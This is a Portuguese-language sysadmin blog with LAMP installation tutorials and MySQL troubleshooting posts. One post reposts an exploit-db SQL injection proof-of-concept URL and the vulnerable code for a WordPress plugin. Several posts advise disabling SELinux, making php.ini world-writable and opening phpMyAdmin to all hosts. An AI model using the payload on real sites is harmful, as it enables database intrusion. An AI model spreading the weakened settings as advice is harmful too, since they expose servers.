How to convert MDB (Access Database) to Mysql/MariaDB using MDB tools (linux tricks)

PC Pixel Art
Standard

Depois de instalar o mdbtools no Linux é necessário criar um shellscript, vamos lá:

 

#!/bin/bash

TABLES=$(mdb-tables -1 $1)

MUSER="rootdoMysql"
MPASS="senhadeRootdoMysql"
MDB="$2"

MYSQL=$(which mysql)

for t in $TABLES
do
    $MYSQL -u $MUSER -p$MPASS $MDB -e "DROP TABLE IF EXISTS $t"
done

mdb-schema $1 mysql | $MYSQL -u $MUSER -p$MPASS $MDB

for t in $TABLES
do
    mdb-export -D '%Y-%m-%d %H:%M:%S' -I mysql $1 $t | $MYSQL -u $MUSER -p$MPASS $MDB
done

Para rodar o script…:

./mdbconvert.sh meuBancoACCESS.mdb NomeDaBaseDoMysql

Vai restaurar tudo!

OBS só funciona se CRIAR o BANCO DE DADOS ANTES, então:

 

mysql -u root -p

Coloca a senha do mysql

CREATE DATABASE NomeDaBaseDoMysql;

 

Resolvido 🙂

Mysql::Error: Can’t create/write to file RUBY ON RAILS /tmp

Standard

ruby

Como sanar este erro?

Das coisas mais malucas que já vi foi o ror pedir um temp dentro do mysql para poder trabalhar.

Bem, se essa é a onda dele, vamos curtir juntos, não? Como sanar?

Entre dentro do /etc/my.cnf

Insira a seguinte linha:

tmpdir = /var/lib/mysql/tmp

Isto deve ser colocado na parte [mysqld].

Assim que for feito ainda não reinicie o mysql, faça os passos:

mkdir /var/lib/mysql/tmp

chown mysql:mysql /var/lib/mysql/tmp

E por fim use o comando:

service mysql restart

Depois disto curta a onda e nada de flip ;). (Quilhas cortam MUITO)

[root@localhost ~]# /etc/init.d/mysqld start /etc/init.d/mysqld: line 16: /etc/sysconfig/network: Arquivo ou diretório não encontrado

Standard

[root@localhost ~]# /etc/init.d/mysqld start
/etc/init.d/mysqld: line 16: /etc/sysconfig/network: Arquivo ou diretório não encontrado

 

Se esse é o erro quando você tenta iniciar o mysql fique tranquilo, a saída é muito simples.

faça o seguinte como root:

 

echo “localhost” > /etc/sysconfig/network
Depois:

 

/etc/init.d/mysqld start

MySQL server has gone away

Standard

Seu mysql anda estranho quando você está tentando fazer upload de um arquivo enorme via console (na verdade o restore, ou seja, mysql -u usuario -p nomedobdprarestaurar < arquivo.sql)???

Bem, se a mensagem de erro for esta -> MySQL server has gone away NÃO precisa entrar em pânico, só existem 2 coisas que são feitas e sanam tranquilamente o erro:

1 – entre no /etc/my.cnf (ou arquivo de configuração do mysql) e informe set-variable = max_connections=1500

Isto vai liberar para 1500 conexões concorrentes no mysql.

2 – Se o erro persistir, no mesmo arquivo informe:

max_allowed_packet = 5000000000

Você estará liberando uploads/restore/dumps de 1gb de tamanho.

Depois disso, reinicie o mysql (normalmente service mysql restart) e corra para o abraço.

 

Ah, se quiser ver qual valor ficou setado (só para conferir depois do restart use):

mysql> SHOW VARIABLES LIKE ‘max_allowed_packet’;

Failed loading /usr/lib/php/modules/php_ioncube_loader_lin_5.1.so: /usr/lib/php/modules/php_ioncube_loader_lin_5.1.so: cannot restore segment prot after reloc: Permission denied

Standard

Depois de instalar tudo em seu servidor Centos (falo de ambiente lamp2 no centos), ao instalar o ioncube você percebe a mensagem de erro:

Failed loading /usr/lib/php/modules/php_ioncube_loader_lin_5.1.so:  /usr/lib/php/modules/php_ioncube_loader_lin_5.1.so: cannot restore segment prot after reloc: Permission denied

Calma, nem você é do mal e nem seu servidor, isso ocorre por que o SELinux está monitorando as coisas, permissões e etc, teremos de desativar o danado :(,

Para desativarmos o SELINUX devemos seguir os passos abaixo:

vim

/etc/sysconfig/selinux
Dentro deste arquivos devemos mudar a linha
SELINUX=permissive (ou enforcing) para:
SELINUX=disabled

Após, basta dar um reboot do dragão e ver que o problema foi sanado :D.

Como instalar Apache 2, Mysql 5 e php 5 no Mac Os X LION 10.7.x (testado 10.7.1)

Standard

Este artigo vai parecer muito com a instalação do apache, php e mysql sob mac os x snow leopard, porém existem algumas particularidades que precisam ser detalhadas. Antemão parte do artigo do mamp sob snow leopard será copiado, depois, iremos detalhar pontos MUITO importantes para que tudo funcione corretamente. Estamos testando em um hackintosh LION (10.7.1), literalmente current (updates mais novas).

Vamos lá:

No outro artigo, para habilitarmos o apache usamos o comando com poder de root (sudo) para ativar o web server, mas agora isto só é permitido sem stress via Preferências do Sistema -> Sharing (compartilhamento) e marcando o Web Server (compartilhamento de arquivos web), lhe mostraremos imagens abaixo:

Abrindo o menu de sharing para apache

Abrindo o menu de sharing para apache

Clicando em compartilhamento de páginas web

Clicando em compartilhamento de páginas web

Note acima que clicamos em COMPARTILHAMENTO junto as preferências de sistema e em seguida marcamos o compartilhamento do apache (páginas web). Toda mudança significativa do mac faz controle de permissões (segurança), por isso coloque seu login e senha para autorizar a mudança.

Feito isto teremos de entrar no conf do apache para liberarmos o php5, veja os passos que diremos.

Nosso segundo ponto e muito importante é entrar no arquivo de configuração do apache 2 afim de habilitarmos o suporte ao PHP, vamos por a mão na massa? Estamos usando o VIM, um editor muito eficaz e leve (todos que já amaram o vi um dia com certeza amam/amarão o vim):

Little-oaks-appunixlabs:~ sudo vim /etc/apache2/httpd.conf

 

Dentro deste arquivo devemos remover o comentário da linha abaixo:

LoadModule php5_module libexec/apache2/libphp5.so

Recomendo que aperte a tecla / no vim e digite php5, você já vai cair em cima da linha a ser descomentada, em seguida, no sinal de libra (#), caminhe até ele e aperte x
Isto nos deixará com suporte ao PHP, depois basta apertar ESC e digitar isto:
:wq!
Assim que pressionar ENTER o arquivo será salvo.
Vamos explicar o por que de :wq!

: representa comando para o arquivo
W representa ESCREVER
Q representa QUIT (sair)
! representa EXECUTAR as instruções informadas

Para finalizarmos o suporte ao php precisamos rodar o seguinte comando:

Little-oaks-appunixlabs:~ sudo apachectl restart

É mania de todos criar um arquivo com a função phpinfo() contida nele, porém, se fizermos isso “de cara” o apache vai exibir muitos warnings (interpretados pelo php) por questões de permissões e de existência do arquivo php.ini. Para sanarmos isto deveremos fazer o seguinte:

Little-oaks-appunixlabs:~ cd /etc
Little-oaks-appunixlabs: sudo cp php.ini.default php.ini
Little-oaks-appunixlabs: sudo chmod 666 php.ini

Estamos copiando o php.ini default do /etc (área de arquivos de configurações em Unix-like systems) e atribuindo permissões 666 (dono pode ler e escrever no arquivo, grupo também e demais também).
No arquivo php.ini temos de localizar o trecho aonde o TimeZone é identificado (mas está comentado). É muito importante mudar esta linha e ajustarmos nosso timezone corretamente, pois isto nos dará um horário adequado. Para isto devemos proceder da seguinte forma:
Little-oaks-appunixlabs: sudo vim php.ini
Em seguida aperte a tecla / para localizar um termo, informe o seguinte date.timezone, isto lhe deixará na linha acima da que precisamos mudar. Descomente a linha abaixo para que fique assim:
date.timezone =

Você removerá o ; apertando x em cima dele. Para deixarmos o vim em modo de edição de arquivos precisamos apertar a tecla i, isto nos dará poder de editar o arquivo (saindo de modo comando).
Agora iremos colocar depois do = o seguinte:
America/Sao_Paulo
Então o resultado final será —> date.timezone = America/Sao_Paulo
Dê ESC e digite
:wq!
Aperte ENTER e terá o arquivo salvo.

 

As vezes você pode estar se perguntando:

Poxa, mas meu timezone não tem nada a ver com o de Sampa, o que faço?
Relaxa, rapá! A galera do Appunix pensou em você! Abaixo segue a lista de timezone da América:
http://www.php.net/manual/en/timezones.america.php

Se mesmo assim não lhe agradar você pode usar os globais:
http://www.php.net/manual/en/timezones.others.php

Mas é impossível você não se agradar dos timezones da América, são repletos.
Os mais comuns que são usados são:
America/Porto_Velho
America/Noronha
America/Rio_Branco
America/Recife
America/Sao_Paulo
America/Porto_Acre
Mas escolha o que mais lhe agradar.

Assim que decidir qual seu TimeZone você deve reiniciar o apache para reler o php.ini e ativar o negócio:
Little-oaks-appunixlabs: sudo apachectl restart

Agora precisamos instalar o Mysql 5 para que possa trabalhar da forma que almejamos.
Para irmos direto ao ponto acesse o link abaixo:
http://dev.mysql.com/downloads/mysql/5.1.html#macosx-dmg
Se cuide para baixar a versão ideal para você.
Aí é 64 bits? Não sabe como é? Quer saber como seu Mac Os X LION está operando? Clique na maça, depois clique em Sobre Este MAC, em seguida clique em Software (Categoria) e procure pela linha Kernel de 64-bit e Extensões: Sim (conforme a foto abaixo):

como ver informações do seu mac os x

como ver informações do seu mac os x

Caso seja Sim é 64 bits (x86_64), então baixe o pacote para 64 bits.
Vamos simbora?
Baixe o arquivo x86_64 no formato DMG.

baixar pacote mysql 64 bits (DMG)

baixar pacote mysql 64 bits (DMG)

baixar pacote mysql 64 bits (DMG)

Quando você clicar no formato DMG automaticamente o site da Mysql vai te convidar a logar-se lá com eles, mas basta prestar a atenção (conforme imagens abaixo) para não precisar perder tempo com esta burocracia, se você quer baixar direto (melhor Né?) basta fazer o seguinte, clique no link abaixo:
HTTP://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.58-osx10.6-x86.dmg/form/http://mysql.cce.usp.br/
Deixa o download terminar siga os passos das fotos abaixo (literalmente instalar o mysql e seu ícone), Devemos concluir os passos extras para adição do Mysql como sendo parte do painel administrativo, para isto siga os passos abaixo:

passo1

passo1

 




















Temos de focar em um ponto em comum.

Temos um script na pasta de download que abrimos (do MYSQL).
Veja o seguinte, MYSQL.PREFPANE é um script que serve para adicionar o script (ícone) de inicialização do MYSQL dentro das preferências do sistema, por isso DEVEMOS executar ele sim, autorizando-o com a senha do usuário. (sem isso teremos de inicializar na mão com o comando mysqld (VIXE, mac é praticidade RAPÁ!)






Feito isto iremos confirmar se o mysql está rodando com o seguinte comando (dentro do terminal):

Little-oaks-appunixlabs: /usr/local/mysql/bin/mysql –user=little_oak

Substitua little_oak por SEU_USUÁRIO.

Isto fará com que você esteja dentro do mysql (Via terminal).

Veja como abrir o terminal:

Façamos o seguinte, clique em terminal (veja a imagem abaixo):

como abrir terminais no mac os x

como abrir terminais no mac os x

como abrir terminais no mac os x

Feito isto iremos reiniciar o apache 2 para garantir que o nosso servidor está integrando literalmente tudo, faremos com o seguinte comando:

Little-oaks-appunixlabs: sudo apachectl restart

Para conferirmos tudo vamos entrar dentro da nossa pasta pessoal, na pasta Sites e criar um arquivo chamado index.php. Dentro dele iremos colocar o seguinte (ISTO EM /Library/WebServer/Documents):
Ou seja -> sudo vim /Library/WebServer/Documents/index.php

< ?php phpinfo(); ?>

 

Quando citamos a parte do mysql, praticamente contorna a viagem de redefinir a senha de root. Se dermos ouvidos ao Mágico de OZ e inventarmos redefinir senhas vamos brincar com isso ó:

Mac-Pro-de-little-oak:etc little_oak$ sudo /usr/local/mysql/bin/mysqld –skip-grant-tables –user=root

grant all…

flush privileges e talz, NÃO PRECISA DISSO, o mac entende que você é um cara que é punk no sistema, que só dá sudo quando sabe o que tá fazendo.

Para conferir como alterar a senha de root do mysql basta clicar no nosso artigo de como redefinir a senha de root no mysql dentro do mac os x lion sem complicações.

PONTO EXTRA:

Como a galera está falando muito de MCRYPT no Mac Os X Lion, o path padrão dele é /usr/share/file/magic/mcrypt
, se quiser descomente a linha do mcrypt no php.ini e mande ficha.

 

Uma coisa massa, se você quer ver a documentação do apache meta bala em http://localhost/manual/, veja a imagem abaixo:

 

manual do apache

manual do apache

 

Se você curtiu esse post dê share 😛

Mysql não aceita senha de root no Mac os X Lion, o que fazer? (serve para o snow leopard)

Standard

Bom, pessoal, nós do app gostaríamos de detalhar algo.
NÃO precisa ter senha de root para operar o mysql, isto dá-se em detrimento ao poder de root, porém com certas restrições que cada usuário do sistema possui.

Se eu quiser entrar no mysql para criar base de dados e trabalhar com o bd (após seguir nosso how to de instalação do apache, php, e mysql no mac os x lion ou instalação do apache, php, e mysql no mac os x snow leopard

mysql

mysql

) basta fazer o seguinte:

Mac-Pro-de-little-oak:etc little_oak$ sudo /usr/local/mysql/bin/mysql –user=little_oak

Pronto, você precisa lembrar que –user=little_oak deve ser susbsituído por –user=usuário_do_SEUMAC

Depois disso trabalhe normalmente.

Perceba uma coisa forte, o MAC OS X não precisa de root para fazer as coisas (dentro do mysql), ele já sabe que você, usando sudo É O CARA, por isso basta rodar este comando no terminal:

Little-oaks-appunixlabs: /usr/local/mysql/bin/mysql –user=little_oak

Troque o little_oak por seu usuário. Depois disso é só alegria.

Abraços galera e clique em SHARE, please!

WordPress Crawl Rate Tracker plugin

Standard


# Exploit Title: WordPress Crawl Rate Tracker plugin < = 2.0.2 SQL Injection Vulnerability # Date: 2011-08-30 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/crawlrate-tracker.2.02.zip # Version: 2.0.2 (tested) # Note: magic_quotes has to be turned off --- PoC --- http://www.site.com/wp-content/plugins/crawlrate-tracker/sbtracking-chart-data.php?chart_data=1&page_url=-1' AND EXTRACTVALUE(1, CONCAT(CHAR(58),@@version,CHAR(58)))--%20 --------------- Vulnerable code --------------- class b3_chartData extends b3_sbTrackingConfig { public function tracking_bot_report_chart_data() { ... if($_GET['page_url'] != '') { $bots = $this->wpdb->get_results("SELECT DATE(FROM_UNIXTIME(`visit_time`)) `visit_date`,`robot_name`,COUNT(*) `total` FROM $this->sbtracking_table WHERE `visit_time` >= '$start' AND `visit_time` < = '$end' AND `page_url` = '" . $_GET['page_url'] . "' GROUP BY `visit_date`,`robot_name`"); ... if ($_GET['chart_data']==1) { ... $chartData = new b3_chartData(); echo $chartData->tracking_bot_report_chart_data();

Fonte: http://www.exploit-db.com/exploits/17755/

Como instalar PHP, Apache e Mysql no Mac Os X Snow Leopard (mamp2 no mac)

Standard

Este é um artigo daqueles “easy-to-use”, aonde instalaremos o apache 2, o php 5 e o mysql 5 para que possamos programar sossegadamente (fazer um webserver para hospedar nossa aplicação localmente).
O sistema operacional usado aqui foi o Mac Os X Snow Leopard 10.6.7, mas o procedimento é o mesmo para 10.6.8.

Vamos para o fight?
Iremos usar o console do Mac os x, assim como o ports do Mac para gerenciar o trem com velocidade.
Façamos o seguinte, clique em terminal (veja a imagem abaixo):

como abrir terminais no mac os x

como abrir terminais no mac os x

Clicando lá você fará o seguinte:

Little-oaks-appunixlabs:~ sudo apachectl start

Isto fará com que você chame recursos globais como super usuário e ative o serviço do apache 2 dentro do seu Mac os x, LEMBRANDO que será requisitada a senha de superusuário para que você possa rodar este recurso, pois o sudo te dá poder de root para executar um determinado comando, como neste caso tomtamos o exemplo do apachectl.

Para conferir que o procedimento deu certo abra seu navegador web (no nosso caso curtimos muito o Mozilla Firefox, mas fica ao seu critério o navegador [isto não influenciará em nada neste how to]), conforme imagem abaixo, na barra de endereços digite

Apache ok

Apache ok

HTTP://localhost

Nosso segundo ponto e muito importante é entrar no arquivo de configuração do apache 2 afim de habilitarmos o suporte ao PHP, vamos por a mão na massa? Estamos usando o VIM, um editor muito eficaz e leve (todos que já amaram o vi um dia com certeza amam/amarão o vim):

Little-oaks-appunixlabs:~ sudo vim /etc/apache2/httpd.conf

 

Dentro deste arquivo devemos remover o comentário da linha abaixo:

LoadModule php5_module libexec/apache2/libphp5.so

Recomendo que aperte a tecla / no vim e digite php5, você já vai cair em cima da linha a ser descomentada, em seguida, no sinal de libra (#), caminhe até ele e aperte x
Isto nos deixará com suporte ao PHP, depois basta apertar ESC e digitar isto:
:wq!
Assim que pressionar ENTER o arquivo será salvo.
Vamos explicar o por que de :wq!

: representa comando para o arquivo
W representa ESCREVER
Q representa QUIT (sair)
! representa EXECUTAR as instruções informadas

Para finalizarmos o suporte ao php precisamos rodar o seguinte comando:

Little-oaks-appunixlabs:~ sudo apachectl restart

É mania de todos criar um arquivo com a função phpinfo() contida nele, porém, se fizermos isso “de cara” o apache vai exibir muitos warnings (interpretados pelo php) por questões de permissões e de existência do arquivo php.ini. Para sanarmos isto deveremos fazer o seguinte:

Little-oaks-appunixlabs:~ cd /etc
Little-oaks-appunixlabs: sudo cp php.ini.default php.ini
Little-oaks-appunixlabs: sudo chmod 666 php.ini

Estamos copiando o php.ini default do /etc (área de arquivos de configurações em Unix-like systems) e atribuindo permissões 666 (dono pode ler e escrever no arquivo, grupo também e demais também).
No arquivo php.ini temos de localizar o trecho aonde o TimeZone é identificado (mas está comentado). É muito importante mudar esta linha e ajustarmos nosso timezone corretamente, pois isto nos dará um horário adequado. Para isto devemos proceder da seguinte forma:
Little-oaks-appunixlabs: sudo vim php.ini
Em seguida aperte a tecla / para localizar um termo, informe o seguinte date.timezone, isto lhe deixará na linha acima da que precisamos mudar. Descomente a linha abaixo para que fique assim:
date.timezone =

Você removerá o ; apertando x em cima dele. Para deixarmos o vim em modo de edição de arquivos precisamos apertar a tecla i, isto nos dará poder de editar o arquivo (saindo de modo comando).
Agora iremos colocar depois do = o seguinte:
America/Sao_Paulo
Então o resultado final será —> date.timezone = America/Sao_Paulo
Dê ESC e digite
:wq!
Aperte ENTER e terá o arquivo salvo.

 

As vezes você pode estar se perguntando:

Poxa, mas meu timezone não tem nada a ver com o de Sampa, o que faço?
Relaxa, rapá! A galera do Appunix pensou em você! Abaixo segue a lista de timezone da América:
http://www.php.net/manual/en/timezones.america.php

Se mesmo assim não lhe agradar você pode usar os globais:
http://www.php.net/manual/en/timezones.others.php

Mas é impossível você não se agradar dos timezones da América, são repletos.
Os mais comuns que são usados são:
America/Porto_Velho
America/Noronha
America/Rio_Branco
America/Recife
America/Sao_Paulo
America/Porto_Acre
Mas escolha o que mais lhe agradar.

Assim que decidir qual seu TimeZone você deve reiniciar o apache para reler o php.ini e ativar o negócio:
Little-oaks-appunixlabs: sudo apachectl restart

Agora precisamos instalar o Mysql 5 para que possa trabalhar da forma que almejamos.
Para irmos direto ao ponto acesse o link abaixo:
http://dev.mysql.com/downloads/mysql/5.1.html#macosx-dmg
Se cuide para baixar a versão ideal para você.
Aí é 64 bits? Não sabe como é? Quer saber como seu Mac Os X Snow Leopard está operando? Clique na maça, depois clique em Sobre Este MAC, em seguida clique em Software (Categoria) e procure pela linha Kernel de 64-bit e Extensões: Sim (conforme a foto abaixo):

como ver informações do seu mac os x

como ver informações do seu mac os x

Caso seja Sim é 64 bits (x86_64), então baixe o pacote para 64 bits.
Vamos simbora?
Baixe o arquivo x86_64 no formato DMG.

baixar pacote mysql 64 bits (DMG)

baixar pacote mysql 64 bits (DMG)

Quando você clicar no formato DMG automaticamente o site da Mysql vai te convidar a logar-se lá com eles, mas basta prestar a atenção (conforme imagens abaixo) para não precisar perder tempo com esta burocracia, se você quer baixar direto (melhor Né?) basta fazer o seguinte, clique no link abaixo:
HTTP://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.58-osx10.6-x86.dmg/form/http://mysql.cce.usp.br/
Deixa o download terminar siga os passos das fotos abaixo (literalmente instalar o mysql e seu ícone), Devemos concluir os passos extras para adição do Mysql como sendo parte do painel administrativo, para isto siga os passos abaixo:

passo1

passo1

 

Feito isto iremos confirmar se o mysql está rodando com o seguinte comando:

Little-oaks-appunixlabs: /usr/local/mysql/bin/mysql

Feito isto iremos reiniciar o apache 2 para garantir que o nosso servidor está integrando literalmente tudo, faremos com o seguinte comando:

Little-oaks-appunixlabs: sudo apachectl restart

Para conferirmos tudo vamos entrar dentro da nossa pasta pessoal, na pasta Sites e criar um arquivo chamado index.php. Dentro dele iremos colocar o seguinte (ISTO EM /Library/WebServer/Documents):
Ou seja -> sudo vim /Library/WebServer/Documents/index.php

< ?php phpinfo(); ?>

Teremos liberadas extensões como PDO (Muito boa para abstração no banco de dados mysql), Mysqli (a versão aprimorada do conector nativo do Mysql [somente disponível a partir do Mysql 5.x])
Pronto, feito isto instalamos o Mysql 5 , Php 5 e Apache 2 em nosso Mac Os X :D.
Abraços a todos e saibam que o AppUnix aprecia sua visita!

Como instalar php apache mysql phpmyadmin no Centos 6

Standard

Olá pessoal, como vocês sabem somos fanáticos pelo ambiente LAMP e agora iremos colocar para vocês um how to simples porém funcional de como instalar o apache, mysql, php e phpmyadmin na plataforma CentOs 6.

Vamos começar deixando tudo atualizado e corrigido:

[root@appunixlabs ~]# yum clean all && yum update -y

Agora vamos instalar o mysql:

[root@appunixlabs ~]# yum install mysql mysql-server -y

Devemos dar pemrissões para que o mysql (serviço) carregue no momento do boot:

[root@appunixlabs ~]# chkconfig –levels 235 mysqld on

E em seguida iniciar o sistema de banco de dados:

[root@appunixlabs ~]# /etc/init.d/mysqld start

Para setarmos as senhas de mysql devemos usar o seguinte comando:

[root@appunixlabs ~]# mysql_secure_installation

NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MySQL
SERVERS IN PRODUCTION USE! PLEASE READ EACH STEP CAREFULLY!

In order to log into MySQL to secure it, we’ll need the current
password for the root user. If you’ve just installed MySQL, and
you haven’t set the root password yet, the password will be blank,
so you should just press enter here.

Enter current password for root (enter for none):
OK, successfully used password, moving on…

Setting the root password ensures that nobody can log into the MySQL
root user without the proper authorisation.

Set root password? [Y/n] Enter para confirmar que quer mudar a senha de root
New password: Coloque a nova senha de root
Re-enter new password: Confirme a nova senha de root
Password updated successfully!
Reloading privilege tables..
… Success!

By default, a MySQL installation has an anonymous user, allowing anyone
to log into MySQL without having to have a user account created for
them. This is intended only for testing, and to make the installation
go a bit smoother. You should remove them before moving into a
production environment.

Remove anonymous users? [Y/n] Pressione Enter para invalidar acessos anônimos
… Success!

Normally, root should only be allowed to connect from ‘localhost’. This
ensures that someone cannot guess at the root password from the network.

Disallow root login remotely? [Y/n] Pressione Enter para Remover o acesso remoto ao banco de dados
… Success!

By default, MySQL comes with a database named ‘test’ that anyone can
access. This is also intended only for testing, and should be removed
before moving into a production environment.

Remove test database and access to it? [Y/n] Pressione Enter para remover a base de dados de testes
– Dropping test database…
… Success!
– Removing privileges on test database…
… Success!

Reloading the privilege tables will ensure that all changes made so far
will take effect immediately.

Reload privilege tables now? [Y/n] Pressione enter para que o flushprivileges opere imediatamente e valide as mudanças
… Success!

Cleaning up…

All done! If you’ve completed all of the above steps, your MySQL
installation should now be secure.

Thanks for using MySQL!

[root@appunixlabs ~]#

Agora vamos instalar o apache com o seguinte comando:

[root@appunixlabs ~]# yum install httpd -y

Agora devemos deixar o apache com a mesma essência de serviços do mysql, operando assim que o boot for realizado:

[root@appunixlabs ~]# chkconfig –levels 235 httpd on

E para iniciarmos o bichão (apache):

[root@appunixlabs ~]# /etc/init.d/httpd start

Se quisermos acessar o server para garantir que o mesmo está operando filé em nosso sistema operacional, caso o server esteja em rede podemos acessa-lo através de seu respectivo ip. Pressupondo que o ip deste server seja 10.0.0.1, para que meu pc em rede confirme se o apache está fino podemos abrir nosso navegador e colocar o seguinte endereço: http://10.0.0.1
Uma página do apache sob CentOs será exibida mostrando que tudo está filé.

Vamos agora instalar o php

[root@appunixlabs ~]# yum install php

Devemos reiniciar o apache para garantir que a integração do interpretador esteja 100% eficaz:

[root@appunixlabs ~]# /etc/init.d/httpd restart

Aonde fica o danado do path do php em meu sistema operacional Centos???
Calma, fique tranquilo, tudo está situado em /var/www/html, e para provar que sua instalação ficou filé faça o seguinte:
Nessa pasta crie um arquivo chamado index.php, abra-o com o vim ou crie-o com echo e dentro dele coloque uma instrução, veja o passo a passo:

[root@appunixlabs ~]# echo "<?php phpinfo(); ?>" >> index.php

Pressupondo que o ip deste server seja 10.0.0.1, para que meu pc em rede confirme se o apache está fino podemos abrir nosso navegador e colocar o seguinte endereço: http://10.0.0.1/index.php

Deverão ser exibidas todas as extensões e variáveis globais predefinidas na instalação nesta página acessada.

Agora precisamos fazer com que o mysql esteja integrado com o php, para isso iremos rodar o seguinte comando:

[root@appunixlabs ~]# yum install php-mysql php-gd php-imap php-ldap php-mbstring php-odbc php-pear php-xml php-xmlrpc -y

E para garantir que tudo está filé e com integração perfeita com nosso container vamos rodar o seguinte:

[root@appunixlabs ~]# /etc/init.d/httpd restart

Precisamos fechar com chave de ouro agora no ponto de instalação fo phpmyadmin.
Para isto devemos fazer o seguinte-> Instalar o repositório RPMForge que é simplesmente punk e em seguida instalar os pacotes vindouros dele. Vamos por a mão na massa?

[root@appunixlabs ~]# rpm –import http://dag.wieers.com/rpm/packages/RPM-GPG-KEY.dag.txt

Se seu sistema for 64 bits rode:

[root@appunixlabs ~]# yum install http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.x86_64.rpm

Se seu sistema for 32 bits rode:

[root@appunixlabs ~]# yum install http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.i686.rpm

Agora vamos instalar o phpmyadmin:

[root@appunixlabs ~]# yum install phpmyadmin -y

Precisamos agora criar aliases para que o phpmyadmin seja acessível sem qualquer transtorno junto ao apache, para isto devemos mudar o seguinte conf-> /etc/httpd/conf.d/phpmyadmin.conf e devemos mudar o seguinte, comentar as linhas abaixo (caso não estejam comentadas):

#<Directory "/usr/share/phpmyadmin">
#  Order Deny,Allow
#  Deny from all
#  Allow from 127.0.0.1
#</Directory>


E garantir que os aliases estejam conforme os abaixo dessa linha:

Alias /phpmyadmin /usr/share/phpmyadmin
Alias /phpMyAdmin /usr/share/phpmyadmin
Alias /mysqladmin /usr/share/phpmyadmin

Feito isso devemos garantir que nosso phpmyadmin faça validação por HTTP e não por meio de cookies, devemos editar o seguinte conf /usr/share/phpmyadmin/config.inc.php e mudar a seguinte linha:

/* Authentication type */
$cfg[‘Servers’][$i][‘auth_type’] = ‘http’;

Em http fica cookie, troque cookie por http para evitar dor de cabeça.

Depois de salvar o arquivo faça com que tudo esteja validado reiniciando o apache:

[root@appunixlabs ~]# /etc/init.d/httpd restart

Pressupondo que o ip deste server seja 10.0.0.1, para que meu pc em rede confirme se o apache está fino podemos abrir nosso navegador e colocar o seguinte endereço: http://10.0.0.1/phpmyadmin

Tudo ok?

Abraços e bons estudos.

Fontes:

Centos: http://centos.org/
Apache: http://apache.org
Mysql: http://mysql.com/
PhpMyadmin: http://www.phpmyadmin.net/home_page/index.php
PHP: http://www.php.net/
Linux: http://en.wikipedia.org/wiki/Linux
RPMForge: http://rpmrepo.net/RPMforge
How to forge: http://www.howtoforge.com/installing-apache2-with-php5-and-mysql-support-on-centos-6.0-lamp

Como instalar Apache, PHP, MySQL, Phpmyadmin e MemCached no FreeBSD 7

Standard

Vamos começar instalando o Mysql.

Precisamos entrar na pasta do mysql:

cd /usr/ports/databases/mysql51-server

Vamos preparar a arquitetura de updates:

make BUILD_OPTIMIZED=yes BUILD_STATIC=yes

Na mesma pasta vamos instalar o mysql:

make install clean

Precisamos ativar o Mysql como serviço iniciado no momento do boot.
Para isto devemos adicionar ao final do arquivo /etc/rc.conf o seguinte:

mysql_enable=”YES”

Devemos agora copiar o arquivo default do mysql para a pasta de configurações e com o nome real:

cp /usr/local/share/mysql/my-medium.cnf /etc/my.cnf

Para iniciar o mysql recém instalado devemos rodar o seguinte:

/usr/local/etc/rc.d/mysql-server start

Precisamos definir agora a senha de root do mysql:

/usr/local/bin/mysqladmin -u root password ‘SUA NOVA SENHA AQUI’

Agora que o mysql está ultra instalado devemos focar no apache, iremos instalar a versão 2.2:

cd /usr/ports/www/apache22

Vamos instalar usando o seguinte comando dentro da pasta a qual entramos com o comando cd:

make install clean

Para garantir que o bixão rode corretamente no momento do boot devemos colocar no final do arquivo /etc/rc.conf a seguinte entrada:

apache22_enable=”YES”

E validaremos isto em outro arquivo também, o /boot/loader.conf, para colocarmos a seguinte entrada lá:

accf_http_load=YES

Agora iremos instalar o PHP5 no bendito. Para isto temos que entrar na pasta do port do php5:

cd /usr/ports/lang/php5

Executaremos a instalação:

make install clean

No caso das extensões do php5, para instalarmos qualquer extensão devemos seguir a seguinte sintaxe:

PDF-Lite (estamos tomando por exemplo aqui)

fetch ftp://ftp.swin.edu.au/gentoo/distfiles/PDFlib-Lite-7.0.2.tar.gz
sudo mv PDFlib-Lite-7.0.2.tar.gz /usr/ports/distfiles/

Agora vamos para o diretório de extensões do php5:

cd /usr/ports/lang/php5-extensions

Vamos ativar os recursos:

make install clean

Vamos criar o path do php.ini corretamente:

cp /usr/local/etc/php.ini-dist /usr/local/etc/php.ini

Para validarmos o php como módulo do apache 2.2 precisamos adicionar as entradas do php. No fim do arquivo /usr/local/etc/apache22/httpd.conf devemos colocar isso aqui:
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps

Devemos agora deixar o index.php como default nos diretórios raizes, para isto devemos trocar (no conf do apache ainda):
DirectoryIndex index.html
por
DirectoryIndex index.php index.html

Vamos editar o gestor de línguas do apache (o conf) /usr/local/etc/apache22/extra/httpd-languages.conf, no fim dele devemos colocar o seguinte:
AddDefaultCharset On

Para validarmos nossas mudanças devemos fazer o seguinte:
/usr/local/etc/rc.d/apache22 start
O comando acima vai reiniciar o apache, validando assim nossas mudanças.

Vamos instalar o Memcached, ultra ferramenta para o php. Usaremos o Pecl (addon do php):

cd /usr/ports/databases/pecl-memcache

Para instalarmos iremos rodar o comando abaixo:

make install clean

Iremos validar a instalação do Memcached:

cd /usr/ports/databases/memcached

make install clean

Vamos deixar o Freezão dar start quando inicializar, dentro do /etc/rc.conf devemos colocar:

memcached_enable=”YES”

E para finalizar toda a brincadeira:

/usr/local/bin/memcached -d -u nobody

Para metermos bala no phpmyadmin iremos fazer o seguinte:

cd /usr/ports/databases/phpmyadmin

Dentro da pasta acima temos de validar nossa instalação direto do port:

make install clean

O phpmyadmin em si já está instalado em seu FreeBSD, mas temos que fazer um Alias no apache para poder colocar a casa em ordem. Iremos fazer o seguinte dentro do conf do apache-> /usr/local/etc/apache22/httpd.conf:

Na sessão ->
Coloque o seguinte dentro dessa tag do apache:

Alias /phpmyadmin /usr/local/www/phpMyAdmin

E para deixar a coisa mais completa, dentro do apache devemos criar um directory para que o phpMyadmin esteja liberado para acesso web, para isto devemos fazer o seguinte:


Order allow,deny
Allow from all


Lembrando que o alis fica fora daí hein?
Vamos ativar o conf do phpmyadmin agora

